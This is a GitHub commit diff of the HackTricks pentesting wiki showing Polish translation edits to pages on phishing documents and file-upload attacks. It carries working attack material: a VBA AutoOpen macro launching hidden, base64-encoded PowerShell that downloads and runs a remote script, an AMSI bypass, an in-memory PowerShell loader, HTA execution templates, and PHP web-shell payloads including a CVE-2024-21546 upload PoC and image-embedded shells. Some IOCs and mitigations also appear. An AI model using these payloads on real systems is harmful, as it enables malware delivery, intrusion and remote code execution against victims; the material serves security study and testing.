mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/file-upload/README.md', 'src/generic
This commit is contained in:
parent
be64aaf070
commit
9cdad0d77e
@ -1,40 +1,40 @@
|
||||
# Pliki i dokumenty phishingowe
|
||||
# Phishing Pliki i dokumenty
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dokumenty Office
|
||||
|
||||
Microsoft Word wykonuje walidację danych pliku przed jego otwarciem. Walidacja danych odbywa się w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi jakikolwiek błąd, analizowany plik nie zostanie otwarty.
|
||||
Microsoft Word wykonuje walidację danych pliku przed jego otwarciem. Walidacja danych jest przeprowadzana w formie identyfikacji struktur danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi błąd, analizowany plik nie zostanie otwarty.
|
||||
|
||||
Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia i zachowanie zdolności do wykonywania makr.\
|
||||
Na przykład plik RTF z założenia nie obsługuje makr, ale plik DOCM przemianowany na RTF zostanie obsłużony przez Microsoft Word i będzie zdolny do wykonywania makr.\
|
||||
Te same mechanizmy i mechanizmy wewnętrzne dotyczą całego oprogramowania pakietu Microsoft Office (Excel, PowerPoint etc.).
|
||||
Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku przez zmianę rozszerzenia i nadal zachować jego możliwość wykonywania makr.\
|
||||
Na przykład plik RTF z założenia nie obsługuje makr, ale plik DOCM przemianowany na RTF zostanie obsłużony przez Microsoft Word i będzie zdolny do wykonania makr.\
|
||||
Te same wewnętrzne mechanizmy dotyczą całego oprogramowania pakietu Microsoft Office (Excel, PowerPoint itp.).
|
||||
|
||||
Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą wykonywane przez niektóre programy Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Pliki DOCX odwołujące się do zdalnego szablonu (File –Options –Add-ins –Manage: Templates –Go) który zawiera makra mogą również „wykonywać” makra.
|
||||
Pliki DOCX odwołujące się do zdalnego szablonu (File –Options –Add-ins –Manage: Templates –Go) który zawiera macros mogą również “wykonywać” macros.
|
||||
|
||||
### Ładowanie zewnętrznego obrazu
|
||||
|
||||
Przejdź do: _Insert --> Quick Parts --> Field_\
|
||||
_**Kategorie**: Links and References, **Filed names**: includePicture, oraz **Filename or URL**:_ http://<ip>/whatever
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
|
||||
Można użyć makr do uruchomienia dowolnego kodu z dokumentu.
|
||||
Można użyć macros, aby uruchomić dowolny kod z dokumentu.
|
||||
|
||||
#### Autoload functions
|
||||
#### Funkcje autoload
|
||||
|
||||
Im bardziej są powszechne, tym bardziej prawdopodobne, że AV je wykryje.
|
||||
Im bardziej powszechne są, tym bardziej prawdopodobne, że AV je wykryje.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Macros Code Examples
|
||||
#### Przykłady kodu macros
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,14 +64,14 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Ręczne usunięcie metadanych
|
||||
#### Ręczne usuwanie metadanych
|
||||
|
||||
Przejdź do **File > Info > Inspect Document > Inspect Document**, co otworzy Document Inspector. Kliknij **Inspect**, a następnie **Remove All** obok **Document Properties and Personal Information**.
|
||||
|
||||
#### Rozszerzenie dokumentu
|
||||
#### Doc Extension
|
||||
|
||||
Po zakończeniu wybierz listę rozwijaną **Save as type**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\
|
||||
Zrób to, ponieważ **nie możesz zapisać macro's inside a `.docx`** i istnieje **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**.
|
||||
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
|
||||
Zrób to, ponieważ **nie można zapisać macros inside a `.docx`** i istnieje **piętno** wokół rozszerzenia macro-enabled **`.docm`** (np. ikona miniatury ma ogromne `!` i niektóre bramki sieciowe/emailowe blokują je całkowicie). Dlatego to **legacy `.doc` extension jest najlepszym kompromisem**.
|
||||
|
||||
#### Malicious Macros Generators
|
||||
|
||||
@ -81,9 +81,9 @@ Zrób to, ponieważ **nie możesz zapisać macro's inside a `.docx`** i istnieje
|
||||
|
||||
## Pliki HTA
|
||||
|
||||
HTA to program Windows, który **kombinuje HTML i języki skryptowe (takie jak VBScript i JScript)**. Tworzy interfejs użytkownika i wykonuje się jako aplikacja "fully trusted", bez ograniczeń modelu bezpieczeństwa przeglądarki.
|
||||
HTA to program Windows, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Tworzy interfejs użytkownika i uruchamia się jako w pełni zaufana aplikacja, bez ograniczeń modelu bezpieczeństwa przeglądarki.
|
||||
|
||||
HTA jest uruchamiane za pomocą **`mshta.exe`**, który jest zwykle **installed** razem z **Internet Explorer**, co sprawia, że **`mshta` dependant on IE**. Jeśli więc został odinstalowany, HTA nie będą mogły zostać uruchomione.
|
||||
HTA jest uruchamiany za pomocą **`mshta.exe`**, które jest zazwyczaj **zainstalowane** razem z **Internet Explorer**, co sprawia, że **`mshta` jest zależne od IE**. Jeśli więc Internet Explorer został odinstalowany, HTA nie będą mogły się uruchomić.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,9 +138,9 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Wymuszanie uwierzytelniania NTLM
|
||||
## Wymuszanie uwierzytelnienia NTLM
|
||||
|
||||
Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do e‑maili lub HTML, które użytkownik otworzy (nawet HTTP MitM?). Albo wysłać ofierze **adresy plików**, które **wywołają** **uwierzytelnianie** przy samym **otwarciu folderu.**
|
||||
Istnieje kilka sposobów na **wymuszenie uwierzytelnienia NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do e-maili lub HTML, które użytkownik otworzy (nawet HTTP MitM?). Albo wysłać ofierze **adres plików**, który **wywoła** **uwierzytelnienie** już przy **otwarciu folderu.**
|
||||
|
||||
**Sprawdź te pomysły i więcej na następujących stronach:**
|
||||
|
||||
@ -156,22 +156,22 @@ Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na p
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Nie zapomnij, że możesz nie tylko ukraść hasha lub dane uwierzytelniające, ale także **wykonać NTLM relay attacks**:
|
||||
Nie zapomnij, że nie można tylko ukraść hasha lub uwierzytelnienia, lecz także **przeprowadzić NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Bardzo skuteczne kampanie dostarczają ZIP zawierający dwa legalne dokumenty-wabiki (PDF/DOCX) oraz złośliwy .lnk. Sztuczka polega na tym, że faktyczny PowerShell loader jest przechowywany w surowych bajtach ZIP-a po unikalnym markerze, a .lnk wydziela go i uruchamia w całości w pamięci.
|
||||
Bardzo skuteczne kampanie dostarczają ZIP zawierający dwa legalne dokumenty przynęty (PDF/DOCX) oraz złośliwy plik .lnk. Sztuczka polega na tym, że właściwy loader PowerShell jest zapisany wewnątrz surowych bajtów ZIP po unikalnym markerze, a .lnk wyodrębnia go i uruchamia całkowicie w pamięci.
|
||||
|
||||
Typowy przebieg realizowany przez .lnk PowerShell one-liner:
|
||||
|
||||
1) Znajdź oryginalny ZIP w typowych lokalizacjach: Desktop, Downloads, Documents, %TEMP%, %ProgramData% oraz w katalogu nadrzędnym bieżącego katalogu roboczego.
|
||||
2) Odczytaj bajty ZIP-a i znajdź w nim zakodowany marker (np. xFIQCV). Wszystko po markerze to osadzony PowerShell payload.
|
||||
3) Skopiuj ZIP do %ProgramData%, rozpakuj go tam i otwórz dokument-wabik (.docx), aby wyglądać wiarygodnie.
|
||||
4) Obejdź AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuskować następny etap (np. usuwając wszystkie znaki #) i wykonać go w pamięci.
|
||||
1) Znajdź oryginalny ZIP w typowych ścieżkach: Desktop, Downloads, Documents, %TEMP%, %ProgramData% oraz w folderze nadrzędnym bieżącego katalogu roboczego.
|
||||
2) Odczytaj bajty ZIP i znajdź na stałe wpisany marker (np. xFIQCV). Wszystko po markerze to osadzony ładunek PowerShell.
|
||||
3) Skopiuj ZIP do %ProgramData%, rozpakuj tam i otwórz przynętę .docx, aby wyglądało to na legalne.
|
||||
4) Obejście AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuskacja następnego etapu (np. usunięcie wszystkich znaków #) i wykonanie go w pamięci.
|
||||
|
||||
Przykładowy szkielet PowerShell do wyodrębnienia i uruchomienia osadzonego etapu:
|
||||
```powershell
|
||||
@ -191,32 +191,32 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notatki
|
||||
- Dostarczenie często nadużywa renomowanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloads (serwując nieszkodliwe ZIPs w zależności od IP/UA).
|
||||
- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go przez Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku.
|
||||
- Delivery często nadużywa zaufanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloadów (serwując nieszkodliwe pliki ZIP w zależności od IP/UA).
|
||||
- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go za pomocą Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku.
|
||||
|
||||
Persistence używane w tym samym łańcuchu
|
||||
- COM TypeLib hijacking kontrolki Microsoft Web Browser, tak że IE/Explorer lub dowolna aplikacja osadzająca ją automatycznie ponownie uruchamia payload. Zobacz szczegóły i gotowe komendy tutaj:
|
||||
Persistence używana w tym samym łańcuchu
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control tak, aby IE/Explorer lub każda aplikacja osadzająca go automatycznie ponownie uruchamiała payload. Szczegóły i gotowe do użycia polecenia znajdziesz tutaj:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- Pliki ZIP zawierające ciąg znaków ASCII (np. xFIQCV) dopisany do danych archiwum.
|
||||
- .lnk, który przeszukuje foldery nadrzędne/użytkownika, aby zlokalizować ZIP i otwiera fałszywy dokument.
|
||||
- Manipulacja AMSI za pomocą [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Pliki ZIP zawierające ASCII marker string (np. xFIQCV) dopisane do danych archiwum.
|
||||
- Plik .lnk, który przegląda foldery nadrzędne/użytkownika, aby znaleźć ZIP i otwiera fałszywy dokument.
|
||||
- Manipulacje AMSI poprzez [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Długotrwałe wątki biznesowe kończące się linkami hostowanymi pod zaufanymi domenami PaaS.
|
||||
|
||||
## Pliki Windows do kradzieży hashów NTLM
|
||||
## Windows files to steal NTLM hashes
|
||||
|
||||
Sprawdź stronę dotyczącą **places to steal NTLM creds**:
|
||||
Sprawdź stronę o **places to steal NTLM creds**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Źródła
|
||||
## Referencje
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
@ -7,7 +7,7 @@
|
||||
Inne przydatne rozszerzenia:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Praca w PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -15,9 +15,9 @@ Inne przydatne rozszerzenia:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Omijanie kontroli rozszerzeń plików
|
||||
### Omijanie sprawdzania rozszerzeń plików
|
||||
|
||||
1. Jeśli stosowane, **sprawdź** poprzednie rozszerzenia. Testuj też je używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||||
1. Jeśli mają zastosowanie, **sprawdź** **poprzednie rozszerzenia.** Przetestuj je także używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Sprawdź **dodanie prawidłowego rozszerzenia przed** rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
@ -31,7 +31,7 @@ Inne przydatne rozszerzenia:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Spróbuj ominąć zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (bajtów **null**) między rozszerzeniami. _Możesz też użyć **wcześniejszych rozszerzeń** do przygotowania lepszego ładunku._
|
||||
4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (**null** bytes) między rozszerzeniami. _Możesz też użyć **poprzednich rozszerzeń** do przygotowania lepszego payloadu._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -43,10 +43,10 @@ Inne przydatne rozszerzenia:
|
||||
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniego sprawdzenia:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Spróbuj umieścić **rozszerzenie wykonawcze przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem .php (niekoniecznie kończące się na .php) wykona kod):
|
||||
6. Spróbuj umieścić **rozszerzenie wykonawcze przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest błędnie skonfigurowany. (przydatne do wykorzystania miskonfiguracji Apache, gdzie wszystko z rozszerzeniem .php, nawet jeśli niekoniecznie kończy się na .php, wykona kod):
|
||||
- _ex: file.php.png_
|
||||
7. Użyj **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":". W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany przy użyciu innych technik, takich jak użycie jego short filename. Wzorzec "**::$data**” może też być użyty do tworzenia niepustych plików. Dlatego dodanie kropki po tym wzorcu może być przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.")
|
||||
8. Spróbuj przełamać limity nazwy pliku. Prawidłowe rozszerzenie zostaje obcięte. Pozostaje złośliwy PHP. AAA<--SNIP-->AAA.php
|
||||
7. Wykorzystanie **NTFS alternate data stream (ADS)** w **Windows**. W takim przypadku znak dwukropka ":" zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie zostanie utworzony na serwerze **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy. Wzorzec "**::$data**" może być również użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być użyteczne do ominięcia dalszych ograniczeń (np. "file.asp::$data.").
|
||||
8. Spróbuj przełamać limity nazwy pliku. Prawidłowe rozszerzenie zostaje obcięte. A pozostaje złośliwe PHP. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
Niektóre upload handlery obcinają lub normalizują znaki kropki na końcu nazwy pliku zapisywanej na dysku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 możesz obejść walidację rozszerzenia przez:
|
||||
Niektóre mechanizmy obsługi uploadu przycinają lub normalizują końcowe kropki w zapisanej nazwie pliku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 możesz ominąć walidację rozszerzeń przez:
|
||||
|
||||
- Użycie prawidłowego MIME obrazu i magic header (np. PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Nazwanie przesyłanego pliku rozszerzeniem PHP z kropką na końcu, np. `shell.php.`.
|
||||
- Serwer usuwa końcową kropkę i zapisuje `shell.php`, który zostanie wykonany, jeśli zostanie umieszczony w katalogu obsługiwanym przez web (domyczne public storage jak `/storage/files/`).
|
||||
- Użycie prawidłowego MIME obrazu i nagłówka magic (np. PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Nadanie przesyłanemu plikowi rozszerzenia PHP, po którym następuje kropka, np. `shell.php.`.
|
||||
- Serwer usuwa końcową kropkę i zapisuje `shell.php`, który zostanie wykonany, jeśli zostanie umieszczony w katalogu serwowanym przez WWW (domyślnie public storage like `/storage/files/`).
|
||||
|
||||
Minimalny PoC (Burp Repeater):
|
||||
```http
|
||||
@ -80,66 +80,66 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Następnie odwiedź zapisany path (typowe w Laravel + LFM):
|
||||
Następnie odwiedź zapisaną ścieżkę (typowe w Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
- Zaktualizuj unisharp/laravel-filemanager do ≥ 2.9.1.
|
||||
- Wymuś ścisłe server-side allowlists i ponownie waliduj zapisany filename.
|
||||
- Serwuj uploads z lokalizacji non-executable.
|
||||
Środki zaradcze:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Wymuś rygorystyczne serwerowe allowlists i ponownie zweryfikuj zapisane nazwy plików.
|
||||
- Serwuj przesłane pliki z lokalizacji, w których nie można uruchamiać kodu.
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
### Obejście Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Bypass **Content-Type** checks przez ustawienie **value** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Obejdź kontrole **Content-Type** przez ustawienie **value** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass **magic number** check przez dodanie na początku pliku **bytes of a real image** (w celu zmylenia polecenia _file_). Lub wprowadź shell wewnątrz **metadata**:\
|
||||
- Obejdź sprawdzanie **magic number** przez dodanie na początku pliku **bajtów prawdziwego obrazu** (zmylić polecenie _file_). Albo wprowadzić shell w **metadane**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` albo możesz też **wprowadzić payload bezpośrednio** do obrazu:\
|
||||
`\` lub możesz też **wprowadzić payload bezpośrednio** w obrazie:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład używając standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), powyższe techniki mogą być bezużyteczne. Jednak możesz użyć **PLTE chunk** [**techniki zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład za pomocą standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki nie będą wtedy przydatne. Jednak możesz użyć **PLTE chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Strona web może także **resizing** **image**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **IDAT chunk** [**techniki zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- Strona WWW może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **IDAT chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz też użyć **tEXt chunk** [**techniki zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- Inna technika tworzenia payloadu, który **przetrwa zmianę rozmiaru obrazu**, wykorzystuje funkcję PHP-GD `thumbnailImage`. Jednak możesz użyć **tEXt chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
### Inne triki do sprawdzenia
|
||||
|
||||
- Znajdź podatność pozwalającą **rename** pliku już przesłanego (aby zmienić extension).
|
||||
- Znajdź **Local File Inclusion** podatność aby uruchomić backdoor.
|
||||
- Znajdź lukę pozwalającą **zmienić nazwę** już przesłanego pliku (aby zmienić rozszerzenie).
|
||||
- Znajdź lukę **Local File Inclusion** aby uruchomić backdoor.
|
||||
- **Możliwe ujawnienie informacji**:
|
||||
1. Upload **kilka razy** (i w tym **samym czasie**) tego **samego pliku** o **tej samej nazwie**
|
||||
2. Załaduj plik o **nazwie** pliku lub folderu, który **już istnieje**
|
||||
3. Wgrywanie pliku o nazwie **"." , "..", or "…"**. Na przykład, w Apache na **Windows**, jeśli aplikacja zapisuje uploady w katalogu "/www/uploads/", nazwa pliku "." stworzy plik o nazwie
|
||||
1. Wgraj **wielokrotnie** (i **jednocześnie**) ten **sam plik** o **tej samej nazwie**
|
||||
2. Wgraj plik o **nazwie** pliku lub folderu, który **już istnieje**
|
||||
3. Wgranie pliku o nazwie **"." , "..", or "…"**. Na przykład, w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu "/www/uploads/", nazwa pliku "." utworzy plik o nazwie
|
||||
uploads” w katalogu "/www/".
|
||||
4. Wgraj plik, który może być trudno usunąć, taki jak **"…:.jpg"** w **NTFS**. (Windows)
|
||||
5. Wgraj plik w **Windows** z **invalid characters** takimi jak `|<>*?”` w jego nazwie. (Windows)
|
||||
6. Wgraj plik w **Windows** używając **reserved** (**forbidden**) **names** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||
- Spróbuj również **upload an executable** (.exe) lub **.html** (mniej podejrzane), który **wykona kod** gdy zostanie przypadkowo otwarty przez ofiarę.
|
||||
4. Wgraj plik, który może być trudny do usunięcia, taki jak **"…:.jpg"** w **NTFS**. (Windows)
|
||||
5. Wgraj plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows)
|
||||
6. Wgraj plik w **Windows** używając zarezerwowanych (**zakazanych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Spróbuj również **wgrać plik wykonywalny** (.exe) lub **.html** (mniej podejrzane), który **wykona kod** po przypadkowym otwarciu przez ofiarę.
|
||||
|
||||
### Special extension tricks
|
||||
### Specjalne sztuczki z rozszerzeniami
|
||||
|
||||
Jeżeli próbujesz uploadować pliki na **PHP server**, [zobacz sztuczkę z **.htaccess** aby wykonać kod](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Jeżeli próbujesz uploadować pliki na **ASP server**, [zobacz sztuczkę z **.config** aby wykonać kod](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Jeśli próbujesz przesyłać pliki na **PHP server**, [zobacz trik z **.htaccess** żeby wykonać kod](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Jeśli próbujesz przesyłać pliki na **ASP server**, [zobacz trik z **.config** żeby wykonać kod](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Pliki `.phar` są jak `.jar` dla java, ale dla php, i mogą być **używane jak plik php** (wykonywane z php, lub includowane w skrypcie...)
|
||||
Pliki `.phar` są jak `.jar` dla java, ale dla php, i mogą być **używane jak plik php** (wykonywane przez php, lub includowane w skrypcie...).
|
||||
|
||||
